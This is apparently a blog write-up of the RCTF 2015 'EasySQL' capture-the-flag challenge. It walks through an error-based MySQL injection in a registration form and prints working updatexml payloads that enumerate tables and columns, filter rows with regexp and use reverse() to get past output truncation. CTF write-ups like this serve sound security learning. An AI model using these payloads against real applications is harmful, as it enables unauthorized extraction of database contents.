RCTF 2015 EasySQL: Exploiting Error-Based Injection via User Registration

The login form itself remains unresponsive to basic authentication attempts. After registering an arbitrary account and signing in, the application redirects to a path containing a title parameter and exposes a password-change feature. Attempting to inject inside the password-reset interface produces no discernible output, indicating the vulnerable surface resides elsewhere.

Supplying admin' during account creation triggers no anomalies, but registering admin" forces the database to throw a syntax error. This behavior reveals an error-based SQL injection vector rooted in the registration logic, specifically requiring double-quote closure.

A reconnaissance payload confirms execution by extracting the current database name:

-1"||updatexml(1,concat(0x7e,database(),0x7e),3)#

With the injection point confiremd, enumerating all available schemas becomes impossible because the back-end filters mid, limit, right, and left. Denied row-extraction primitives, the next pivot targets table names inside the active database directly:

-1"||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),3)#

After identifying the users table, the following statement extracts its column names without relying on prior guesses:

-1"||updatexml(1,concat(1,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),1),3)#

Among the returned columns, real_flag_1s_here is the obvious target. Because the column stores numerous unrelated values alongside the flag, a regexp predicate restricts extraction to rows beginning with the letter f:

-1"||updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')),1),3)#

The updatexml output length limit truncates the result, returning only:

flag{c7dc7860-822f-4d21-b505-c5

To bypass the substring limitation, reverse the field so the trailing characters move to the front of the extracted buffer:

-1"||updatexml(1,concat(1,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1),3)#

This yields the flipped remainder:

}dcf50d62655c-505b-12d4-f228-068

A concise Python routine restores the original oreintation:

def flip(text):
    return text[::-1]

suffix = "}dcf50d62655c-505b-12d4-f228-068"
print(flip(suffix))

Appending the reversed suffix to the initial fragment reconstructs the complete flag: flag{c7dc7860-822f-4d21-b505-c55626d05fcd}.

Tags: CTF SQL Injection RCTF2015 Error-Based Injection MySQL

Posted on Sun, 10 May 2026 10:30:11 +0000 by MeOnTheW3